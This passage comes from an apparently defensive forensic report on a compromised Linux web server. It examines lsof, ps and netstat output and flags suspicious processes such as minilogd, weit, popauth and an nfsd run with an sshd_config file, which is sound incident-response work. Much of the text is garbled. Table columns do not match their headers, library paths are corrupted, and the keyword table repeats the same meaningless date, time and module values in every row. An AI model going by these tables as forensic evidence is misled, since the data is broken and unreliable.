<th>User</th>
<th>FD</th>
<th>TYPE</th>
<th>Device</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>8896</td>
<td>71809</td>
<td>/sbin/minilogd</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/id86/libc-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Program</th>
<th>User</th>
<th>Group</th>
<th>Mode</th>
<th>Size</th>
<th>Date/Time</th>
<th>Type</th>
<th>File/Path</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.6</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can’t identify protocol</td>
<td></td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>7u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>8u</td>
<td>unix</td>
<td>0xc180540</td>
<td>551280</td>
<td>/dev/log</td>
<td></td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP *:https (LISTEN)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP *:http (LISTEN)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>40961</td>
<td>/bin</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.2</td>
<td>20914</td>
<td>34503</td>
<td>/usr/bin/weit</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/id686/libc-2.2.5.so</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can’t identify protocol</td>
<td></td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can’t identify protocol</td>
<td></td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can’t identify protocol</td>
<td></td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can’t identify protocol</td>
<td></td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>53319</td>
<td>/tmp:/s</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>40961</td>
<td>/bin</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP *:https (LISTEN)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP *:http (LISTEN)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
<td></td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>44198</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>55343</td>
<td>/x</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>36415</td>
<td>55345</td>
<td>/x/popauth</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can’t identify protocol</td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can’t identify protocol</td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>7r</td>
<td>FIFO</td>
<td>0.5</td>
<td>551501</td>
<td>pipe</td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>8w</td>
<td>FIFO</td>
<td>0.5</td>
<td>551501</td>
<td>pipe</td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>9u</td>
<td>IPv4</td>
<td>551503</td>
<td>UDP *:3049</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202</td>
<td>/var/log/httpd/error_log</td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP *:https (LISTEN)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP *:http (LISTEN)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201</td>
<td>/var/log/httpd/access_log</td>
<td></td>
</tr>
<tr>
<td>Time</td>
<td>User</td>
<td>Group</td>
<td>Type</td>
<td>File Path</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------</td>
<td>-------</td>
<td>-------</td>
<td>------</td>
<td>--------------------------------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19685</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>DIR</td>
<td>/bin</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>DIR</td>
<td>/lib/ld-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>DIR</td>
<td>/lib/libnsl.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/lib/libcrypto-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/lib/libutil-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/lib/libutil-2.2.5.so (deleted)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/usr/sbin/nfsd</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/var/log/httpd/access_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19796</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19810</td>
<td>root</td>
<td>root</td>
<td>DIR</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19810</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19810</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/tmp/session_mm_apache0.sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19810</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/dev/hdx1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19810</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19810</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/var/log/httpd/ssl_request_log</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19810</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/var/run/httpd.m</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>19810</td>
<td>root</td>
<td>root</td>
<td>REG</td>
<td>/bin/modify.commands sem</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

File & path of interest: /tmp/session_mm_apache0.sem
Waiting on http & https
Waiting on https
Waiting on http
File & path of interest: /usr/sbin/nfsd
File & path of interest: /var/log/httpd/ssl_request_log
File & path of interest: /var/run/httpd.m
Table 6. Suspicious events from lsof.txt

The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogd, weit, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

“/usr/sbin/nfsd -f /sbin/sshd_config”

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a suspicious file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.

<p>| USER  | PID  | %CPU | %MEM | VSZ  | RSS  | TTY | STAT | START  | TIME  | COMMAND |  |
|-------|------|------|------|------|------|-----|------|--------|-------|---------|  |
| apache| 10606| 0    | 1    | 79844| 1340 | ?   | S    | Jun-29 | 0:00  | /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC |  |
| apache| 10607| 0    | 0.9  | 79824| 1244 | ?   | S    | Jun-29 | 0:00  | /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC |  |
| apache| 10608| 0    | 0.9  | 79824| 1260 | ?   | S    | Jun-29 | 0:00  | /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC |  |
| apache| 10609| 0    | 0.9  | 79824| 1244 | ?   | S    | Jun-29 | 0:00  | /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC |  |
| apache| 10610| 0    | 0.9  | 79824| 1260 | ?   | S    | Jun-29 | 0:00  | /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC |  |
| apache| 10611| 0    | 0.9  | 79824| 1244 | ?   | S    | Jun-29 | 0:00  | /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC |  |
| apache| 10612| 0    | 0.9  | 79824| 1244 | ?   | S    | Jun-29 | 0:00  | /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC |  |
| apache| 10613| 0    | 0.9  | 79824| 1244 | ?   | S    | Jun-29 | 0:00  | /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC |  |</p>
<table>
<thead>
<tr>
<th>User</th>
<th>PID</th>
<th>Uptime</th>
<th>Pid</th>
<th>%CPU</th>
<th>%MEM</th>
<th>Size</th>
<th>Realtime</th>
<th>State</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>apache</td>
<td>19365</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1256</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19366</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1248</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19367</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19368</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19369</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19370</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19371</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19372</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19373</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19374</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19375</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>19376</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>root</td>
<td>19635</td>
<td>0</td>
<td>0.3</td>
<td>5648</td>
<td>416</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>minilogd</td>
</tr>
<tr>
<td>root</td>
<td>19678</td>
<td>0</td>
<td>0.1</td>
<td>1336</td>
<td>200</td>
<td>?</td>
<td>T</td>
<td>Jun-29</td>
<td>/usr/bin/weit</td>
</tr>
<tr>
<td>root</td>
<td>19685</td>
<td>0</td>
<td>0</td>
<td>48</td>
<td>8</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>popauth</td>
</tr>
<tr>
<td>root</td>
<td>19686</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>Z</td>
<td>Jun-29</td>
<td>[weit &lt;defunct&gt;]</td>
</tr>
</tbody>
</table>
The `lsmod.txt` file was analysed to look at what kernel modules were loaded. A Module that required further investigation was `nls_iso8859-1`.

The `netstat-routes.txt` file showed no added routes. The `ifconfig.txt` file did show the `eth0` interface in promiscuous mode. This is an indication of a possible sniffer program.

Analysis of the `proc-filelist.txt` file provided little benefit. The command used was a directory listing using `ls -al` of the `/proc` filesystem. The command should have included the command switch for recursive listing of the `/proc` file system, the correct command is `ls -alR`. The second last command indicated the date the live response was completed and the final command was an MD5 checksum run on all of the `*.txt` files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

<table>
<thead>
<tr>
<th>Keyword</th>
<th>Date</th>
<th>Time</th>
<th>Module</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>nfsd</code></td>
<td>00</td>
<td>1352</td>
<td>200</td>
</tr>
<tr>
<td><code>popauth</code></td>
<td>00</td>
<td>1352</td>
<td>200</td>
</tr>
<tr>
<td><code>minilogd</code></td>
<td>00</td>
<td>1352</td>
<td>200</td>
</tr>
<tr>
<td><code>soundcore</code></td>
<td>00</td>
<td>1352</td>
<td>200</td>
</tr>
<tr>
<td><code>sshd_config</code></td>
<td>00</td>
<td>1352</td>
<td>200</td>
</tr>
<tr>
<td><code>nls_iso8859-1</code></td>
<td>00</td>
<td>1352</td>
<td>200</td>
</tr>
<tr>
<td><code>services</code></td>
<td>00</td>
<td>1352</td>
<td>200</td>
</tr>
<tr>
<td><code>hostname</code></td>
<td>00</td>
<td>1352</td>
<td>200</td>
</tr>
</tbody>
</table>

The date of interest is June 29, 2003 and paths to investigate from live response output are:

```
/tmp/.s
```
./x
/usr/bin
/usr/sbin
/sbin
Live response File listings

starttime.txt

Mon Jun 30 17:18:51 CST 2003

w.txt

5:22pm up 7 days, 5:24, 4 users, load average: 0.16, 0.03, 0.01

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 7days 0.00s ? —
userid1 pts/1 - 23Jun03 38:58 0.22s 0.00s ls <defunct>
userid1 pts/2 - Fri 8am 4.00s 0.71s 0.01s /mnt/cdrom/nc 1
userid1 pts/3 - 4:44pm 38:14 0.15s 0.07s —bash

netsat-sockets.txt

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:1024 0.0.0.0:* LISTEN 657/rpc.statd
udp 0 0 0.0.0.0:1024 0.0.0.0:* LISTEN 657/rpc.statd
udp 0 0 0.0.0.0:1031 0.0.0.0:* 19941/services
udp 0 0 0.0.0.0:1032 0.0.0.0:* 19941/services
udp 0 0 0.0.0.0:161 0.0.0.0:* 8154/smtpd
udp 0 0 0.0.0.0:3049 0.0.0.0:* 19685/popauth
udp 0 0 192.168.2.15:123 0.0.0.0:* 790/ntpd
udp 0 0 127.0.0.1:123 0.0.0.0:* 790/ntpd
udp 0 0 0.0.0.0:6 0.0.0.0:* 7 —
Active UNIX domain sockets (servers and established)

Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 1638 935/gpm /dev/gpmctl1
unix 2 [ ACC ] STREAM LISTENING 1704 1005/xfs /tmp/.font-unix/fs7100
unix 2 [ ACC ] STREAM LISTENING 2256 1192/artsd /tmp/mcop-userid1/rhl-04a8-3ef74460
unix 2 [ ACC ] STREAM LISTENING 1789 1066/X /tmp/X11-unix/X0
unix 2 [ ACC ] STREAM LISTENING 2158 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-1055392280
unix 2 [ ACC ] STREAM LISTENING 2285 1210/kdeinit: ksesm /tmp/.ICE-unix/1210
unix 2 [ ACC ] STREAM LISTENING 2151 1175/kdeinit: Runni /tmp/ksocket-
unix 2 [ ACC ] STREAM LISTENING 2182 1181/kdeinit: klaun /tmp/ksocket-
unix 2 [ ACC ] STREAM LISTENING 280021 6135/kdesud /tmp/ksocket-
unix 2 [ ACC ] STREAM LISTENING 715235 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-
unix 3 [ ] STREAM CONNECTED 715234 29110/cdrom
unix 3 [ ] STREAM CONNECTED 715231 1210/kdeinit: ksesm /tmp/.ICE-unix/1210
unix 3 [ ] STREAM CONNECTED 715230 29110/cdrom
unix 3 [ ] STREAM CONNECTED 715226 1066/X /tmp/X11-unix/X0
unix 3 [ ] STREAM CONNECTED 2310 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2305 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2304 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2294 1210/kdeinit: ksmse /tmp/.ICE-1210
unix 3 [ ] STREAM CONNECTED 2293 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2290 1066/X /tmp/X11-unix/XO
unix 3 [ ] STREAM CONNECTED 2289 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2280 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2279 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2276 1066/X /tmp/.X11-
unix/dcop1178-1056392280
unix 3 [ ] STREAM CONNECTED 2267 1210/kdeinit: ksmse /tmp/ksocket-
useridkdeinit:-0
unix 3 [ ] STREAM CONNECTED 2266 1208/kwrapper
unix 3 [ ] STREAM CONNECTED 2253 1066/X /tmp/.X11-
unix 3 [ ] STREAM CONNECTED 2249 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2248 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2209 1066/X /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2208 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 2204 1066/X /tmp/X11-unix/XO
unix 3 [ ] STREAM CONNECTED 2203 1183/kdeinit: kded
unix 3 [ ] STREAM CONNECTED 2189 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2188 1183/kdeinit: kded
unix 3 [ ] STREAM CONNECTED 2176 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2175 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2169 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2168 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 2160 1210/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 1801 1005/xfs /tmp/font-
unix 3 [ ] STREAM CONNECTED 1800 1066/X /tmp/.X11-
unix 3 [ ] STREAM CONNECTED 1794 1067:-0
unix 2 [ ] DGRAM 1714 1005/xfs
unix 2 [ ] DGRAM 1661 953/crond
unix 2 [ ] DGRAM 1621 916/sendmail: accept
unix 2 [ ] DGRAM 1548 875/xinetd
unix 2 [ ] DGRAM 1505 790/ntpd
unix 2 [ ] DGRAM 1264 770/apmd
unix 2 [ ] DGRAM 1124 657/rpc.statd

lsof.txt

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5 26920</td>
<td>71775</td>
<td>/sbin/init</td>
<td></td>
</tr>
<tr>
